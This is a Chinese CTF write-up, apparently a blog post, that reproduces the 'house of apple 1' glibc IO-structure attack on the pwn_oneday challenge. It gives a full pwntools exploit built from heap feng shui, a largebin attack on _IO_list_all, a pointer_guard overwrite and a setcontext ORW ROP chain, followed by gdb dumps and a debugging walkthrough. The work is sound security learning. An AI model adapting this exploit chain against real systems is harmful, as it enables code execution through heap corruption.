house of apple1

前言

最近准备把roderick01师傅写的3个house of apple都复现一下,先复现apple1吧。用的例题就是pwn_oneday,2.34版本的libc。具体的利用条件和原理参考[原创] House of apple 一种新的glibc中IO攻击方法 (1)-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com

题目分析

漏洞分析

实现了四个功能:增删读写。程序首先输入一个key值(6--10),限定创建堆块的大小只能是largebin中的,且大小只能是0x110*key+0x10,0x110*key+0x20,2*0x110*key+0x10三种。

delete函数存在uaf漏洞。 

 

读和写都限定只能使用一次。

利用步骤

1.利用一次write泄露出libc和heapbase

2.构造一次largebin attack,修改_IO_list_all为一个堆地址

3.利用house of apple修改pointer_guard的值为已知地址

4.利用house of emma控制rsp

5.执行orw读取flag

堆风水构造

由于这个题限制我们只能申请三种大小的堆块:

0x110*key+0x10,0x110*key+0x20,2*0x110*key+0x10

设small=0x110*key+0x10,medium=0x110*key+0x20,large=2*0x110*key+0x10

则我们可以得到一下关系:

2*medium=2*small+0x20=large+0x30

那么合理利用堆风水就可以构造出三个重叠的堆块:

(从上至下顺序为:large+small,2*small+small,2*medium+small

继而可以修改堆块A的bk_nextsize指针并伪造一个堆块B,这样再进行largebin attack的时候就既可以任意地址写一个堆地址,也可以控制写的堆地址所在chunk的内容,从而构造fake file结构体。

exp

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
p=process('./oneday')
elf=ELF('./oneday')
libc=elf.libc

small = 1
medium = 2
large = 3
def info(a,b):
    log.info("\033[0;31;40m"+a+hex(b)+'\033[0m')
def menu(index):
    p.sendlineafter('enter your command: ', str(index))


def add(choice):
    menu(1)
    p.sendlineafter('choise: ', str(choice))


def show(index):
    menu(4)
    p.sendlineafter('Index: ', str(index))


def edit(index, content):
    menu(3)
    p.sendlineafter('Index: ', str(index))
    p.sendafter('Message: ', content)


def dele(index):
    menu(2)
    p.sendlineafter('Index: ', str(index))

p.sendlineafter('enter your key >>', '10')
add(medium) # 0
add(medium) # 1
add(small)  # 2     0x555555606810
 
dele(2)
dele(1)
dele(0)
 
add(small)  # 3
add(small)  # 4
add(small)  # 5     0x5555556067f0
add(small)  # 6
 
dele(3)
dele(5)

show(3)

p.recvuntil('Message:')

libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x1f2cc0
info("libc_base-->",libc_base)
p.recv(2)
heap_base = u64(p.recv(8)) - 0x17f0
info("heap_base-->",heap_base)

main_arena = libc_base + libc.sym['main_arena']
_IO_list_all = libc_base + libc.sym['_IO_list_all']
info("_IO_list_all-->",_IO_list_all)

_IO_wstrn_jumps = libc_base + 0x1f3d20
info("_IO_wstrn_jumps->",_IO_wstrn_jumps)

_IO_cookie_jumps = libc_base + 0x1f3ae0
_IO_lock = libc_base + 0x1f5720
guard = libc_base + 0x203630
setcontext = libc_base + libc.sym['setcontext']

ret = libc_base + 0x000000000002d446
pop_rax_ret = libc_base + 0x00000000000446c0
pop_rdi_ret = libc_base + 0x000000000002daa2
pop_rsi_ret = libc_base + 0x0000000000037c0a
pop_rdx_rbx_ret = libc_base + 0x0000000000087729
syscall_ret = libc_base + 0x00000000000883b6

magic_gadget = libc_base + 0x146020#mov rdx, [rdi+8].mov [rsp], rax. call qword ptr [rdx+20h]

new_pointer_guard = heap_base + 0x1900
chain = heap_base + 0x1910

dele(4)
dele(6)

add(large)  # 7
add(small)  # 8     0x5555556067e0
add(small)  # 9

dele(8)
add(large)  # 10

f1 = FileStructure()
f1._IO_read_ptr = 0xa81
f1.chain = chain
f1._flags2 = 8
f1._lock = _IO_lock
f1._wide_data = guard
f1.vtable = _IO_wstrn_jumps

f2 = FileStructure()
f2._IO_write_base = 0
f2._IO_write_ptr = 1
f2._lock = _IO_lock
f2._flags2 = 8
f2.vtable = _IO_cookie_jumps + 0x58

data = {
    0x8: _IO_list_all - 0x20,
    0x10:{
        0:bytes(f1),
        0x100:{
            0: bytes(f2),
            0xe0: [chain + 0x100, rol(magic_gadget ^ new_pointer_guard, 0x11)],
            0x100:[
                0,
                chain + 0x100,
                0,
                0,
                setcontext + 61,
            ],
            0x1a0:[
                chain + 0x200,ret,
                'flag\x00\x00\x00\x00'
            ],
            0x200:[
                pop_rax_ret,  # sys_open('flag', 0)
                2,
                pop_rdi_ret,
                chain + 0x1b0,
                pop_rsi_ret,
                0,
                syscall_ret,

                pop_rax_ret,  # sys_read(flag_fd, heap, 0x100)
                0,
                pop_rdi_ret,
                3,
                pop_rsi_ret,
                heap_base + 0x500,
                pop_rdx_rbx_ret,
                0x40,
                0,
                syscall_ret,

                pop_rax_ret,  # sys_write(1, heap, 0x100)
                1,
                pop_rdi_ret,
                1,
                pop_rsi_ret,
                heap_base + 0x500,
                pop_rdx_rbx_ret,
                0x40,
                0,
                syscall_ret
            ]
        }
    },
    0xa90:[0, 0xab1]
}

data = flat(data).ljust(0xaa0, b'\x00')
edit(5, data)
dele(2)
add(large)
gdb.attach(p)
menu(9)
# gdb.attach(p)
p.interactive()

代码分析

add(medium) # 0
add(medium) # 1
add(small)  # 2     0x555555606810
 
dele(2)
dele(1)
dele(0)

第一次堆风水,构造出最下边的chunk2(2*medium+small)

add(small)  # 3
add(small)  # 4
add(small)  # 5     0x5555556067f0

第二次堆风水,构造出中间的chunk5(2*small+small)

add(small)  # 3
add(small)  # 4
add(small)  # 5     0x5555556067f0
add(small)  # 6
 
dele(3)
dele(5)

show(3)

p.recvuntil('Message:')

libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x1f2cc0
info("libc_base-->",libc_base)
p.recv(2)
heap_base = u64(p.recv(8)) - 0x17f0
info("heap_base-->",heap_base)

main_arena = libc_base + libc.sym['main_arena']
_IO_list_all = libc_base + libc.sym['_IO_list_all']
info("_IO_list_all-->",_IO_list_all)

_IO_wstrn_jumps = libc_base + 0x1f3d20
info("_IO_wstrn_jumps->",_IO_wstrn_jumps)

_IO_cookie_jumps = libc_base + 0x1f3ae0
_IO_lock = libc_base + 0x1f5720
guard = libc_base + 0x203630
setcontext = libc_base + libc.sym['setcontext']

ret = libc_base + 0x000000000002d446
pop_rax_ret = libc_base + 0x00000000000446c0
pop_rdi_ret = libc_base + 0x000000000002daa2
pop_rsi_ret = libc_base + 0x0000000000037c0a
pop_rdx_rbx_ret = libc_base + 0x0000000000087729
syscall_ret = libc_base + 0x00000000000883b6

magic_gadget = libc_base + 0x146020#mov rdx, [rdi+8].mov [rsp], rax. call qword ptr [rdx+20h]

new_pointer_guard = heap_base + 0x1900
chain = heap_base + 0x1910

释放堆块3和堆块5进入unsortedbin中

 然后show堆块3正好可以泄露出libc和heapbase。

说一下本地pointer_guard地址如何找

第一种方法:tls+0x30 

第二种:

dele(4)
dele(6)

add(large)  # 7
add(small)  # 8     0x5555556067e0
add(small)  # 9

dele(8)
add(large)  # 10

第三次堆风水,构造出最上边的chunk8(large+small)。

 

 

然后就是这两个file结构体的构造和rop位置的确定,这一部分看了半天,调试一步步跟才弄懂。

f1 = FileStructure()
f1._IO_read_ptr = 0xa81
f1.chain = chain
f1._flags2 = 8
f1._lock = _IO_lock
f1._wide_data = guard
f1.vtable = _IO_wstrn_jumps

f2 = FileStructure()
f2._IO_write_base = 0
f2._IO_write_ptr = 1
f2._lock = _IO_lock
f2._flags2 = 8
f2.vtable = _IO_cookie_jumps + 0x58

data = {
    0x8: _IO_list_all - 0x20,
    0x10:{
        0:bytes(f1),
        0x100:{
            0: bytes(f2),
            0xe0: [chain + 0x100, rol(magic_gadget ^ new_pointer_guard, 0x11)],
            0x100:[
                0,
                chain + 0x100,
                0,
                0,
                setcontext + 61,
            ],
            0x1a0:[
                chain + 0x200,ret,
                'flag\x00\x00\x00\x00'
            ],
            0x200:[
                pop_rax_ret,  # sys_open('flag', 0)
                2,
                pop_rdi_ret,
                chain + 0x1b0,
                pop_rsi_ret,
                0,
                syscall_ret,

                pop_rax_ret,  # sys_read(flag_fd, heap, 0x100)
                0,
                pop_rdi_ret,
                3,
                pop_rsi_ret,
                heap_base + 0x500,
                pop_rdx_rbx_ret,
                0x40,
                0,
                syscall_ret,

                pop_rax_ret,  # sys_write(1, heap, 0x100)
                1,
                pop_rdi_ret,
                1,
                pop_rsi_ret,
                heap_base + 0x500,
                pop_rdx_rbx_ret,
                0x40,
                0,
                syscall_ret
            ]
        }
    },
    0xa90:[0, 0xab1]
}

data = flat(data).ljust(0xaa0, b'\x00')
edit(5, data)

通过前边的堆风水我们已经知道,目前largebin中的是chunk8(后三位0x7e0,同下)

而chunk5是0x7f0,那么我们read向chunk5中读入数据正好可以修改chunk8的bk_nextsize为_IO_list_all,并且chunk2是0x810,于是我们同时将chunk2的size修改,从而伪造一个chunk进行释放,那么想一下,这里触发的largebin attack正好将_IO_list_all修改为这个伪造的chunk,那么我们继续往下写的话,那相当于就是对伪造的_IO_list_all进行填充,那我们就实现了任意控制_IO_list_all了。

 

 

dele(2)
add(large)

触发largebin attack之后

 成功修改。

这里直接看一下伪造后的file表结构。(这个是修改pointer_guard)

$1 = {                                                                                                                                                            
  file = {                                                                                                                                                        
    _flags = 0,                                                                                                                                                   
    _IO_read_ptr = 0xa81 <error: Cannot access memory at address 0xa81>,                                                                                          
    _IO_read_end = 0x7f3cc978d250 <main_arena+1520> "@\322x\311<\177",                                                                                            
    _IO_read_base = 0x555a067a67e0 "",                                                                                                                            
    _IO_write_base = 0x555a067a67e0 "",                                                                                                                           
    _IO_write_ptr = 0x7f3cc978d640 <_nl_global_locale+224> "\255\001u\311<\177",                                                                                  
    _IO_write_end = 0x0,                                                                                                                                          
    _IO_buf_base = 0x0,                                                                                                                                           
    _IO_buf_end = 0x0,
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x555a067a6910,
    _fileno = 0,
    _flags2 = 8,
    _old_offset = -1,
    _codecvt = 0x0,
    _wide_data = 0x7f3cc979d630,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = 0,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x7f3cc978dd20 <_IO_wstrn_jumps>
}

我们把_chain改成了0x910,vtable改成了_IO_wstrn_jumps(跳转到_IO_wstrn_overflow),接着看一下0x910这个fake file结构体

$3 = {                                                                                                                                                            
  file = {                                                                                                                                                        
    _flags = 0,                                                                                                                                                   
    _IO_read_ptr = 0x0,                                                                                                                                           
    _IO_read_end = 0x0,                                                                                                                                           
    _IO_read_base = 0x0,                                                                                                                                          
    _IO_write_base = 0x0,                                                                                                                                         
    _IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>,                                                                                             
    _IO_write_end = 0x0,                                                                                                                                          
    _IO_buf_base = 0x0,                                                                                                                                           
    _IO_buf_end = 0x0,                                                                                                                                            
    _IO_save_base = 0x0,                                                                                                                                          
    _IO_backup_base = 0x0,                                                                                                                                        
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x0,
    _fileno = 0,
    _flags2 = 8,
    _old_offset = -1,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "",
    _lock = 0x7f3cc978f720 <_IO_stdfile_2_lock>,
    _offset = -1,
    _codecvt = 0x0,
    _wide_data = 0x0,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = 0,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x7f3cc978db38 <_IO_cookie_jumps+88>
}

由于这是最后一个fake file,所以_chain置空,vtable指向_IO_cookie_jumps+88(跳转到_IO_cookie_read),然后再gadget,布置好orw即可。

动态调试

调用链:exit==>__run_exit_handlers==>_IO_cleanup==>_IO_flush_all_lockp==>_IO_wstrn_overflow

==>_IO_cookie_read

si进入

 

si进入

 

si进入

si进入 

此时rax就是_IO_wstrn_jumps

_IO_wstrn_jumps的结构

$2 = {                                                                                                                                                            
  __dummy = 0,                                                                                                                                                    
  __dummy2 = 0,                                                                                                                                                   
  __finish = 0x7f599a79a590 <_IO_wstr_finish>,                                                                                                                    
  __overflow = 0x7f599a798e40 <_IO_wstrn_overflow>,                                                                                                               
  __underflow = 0x7f599a79a100 <_IO_wstr_underflow>,                                      
  __uflow = 0x7f599a7996e0 <__GI__IO_wdefault_uflow>,
  __pbackfail = 0x7f599a79a570 <_IO_wstr_pbackfail>,
  __xsputn = 0x7f599a7997d0 <__GI__IO_wdefault_xsputn>,
  __xsgetn = 0x7f599a799d30 <__GI__IO_wdefault_xsgetn>,
  __seekoff = 0x7f599a79a6b0 <_IO_wstr_seekoff>,    
  __seekpos = 0x7f599a7a2900 <_IO_default_seekpos>,    
  __setbuf = 0x7f599a7a2800 <_IO_default_setbuf>,      
  __sync = 0x7f599a7a2bf0 <_IO_default_sync>,   
  __doallocate = 0x7f599a799940 <__GI__IO_wdefault_doallocate>,
  __read = 0x7f599a7a37b0 <_IO_default_read>,    
  __write = 0x7f599a7a37c0 <_IO_default_write>,
  __seek = 0x7f599a7a3790 <_IO_default_seek>,                  
  __close = 0x7f599a7a2bf0 <_IO_default_sync>,
  __stat = 0x7f599a7a37a0 <_IO_default_stat>,  
  __showmanyc = 0x7f599a7a37d0 <_IO_default_showmanyc>,
  __imbue = 0x7f599a7a37e0 <_IO_default_imbue>
}                                            

 这里调用rax+0x18也就是_IO_wstrn_overflow

si进入

 

 

看到这里将pointer_guard给rdx

然后又将rbp的值给rdx,这里就将pointer_guard的值给修改了。而rbp就是f1._wide_data = guard

传入的值,这里就实现了对pointer_guard的篡改与控制。

然后继续执行下一个fake file结构体

si进入

 rdi的值

加密操作

 加密后正好指向我们的gadget

 这里将rdi值修改为(0xa10)

 

 然后执行gadget

 

正好跳转到setcontext+61 

此时rdx+0xa0和rdx+0xa8分别为orw和ret

 

成功劫持 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值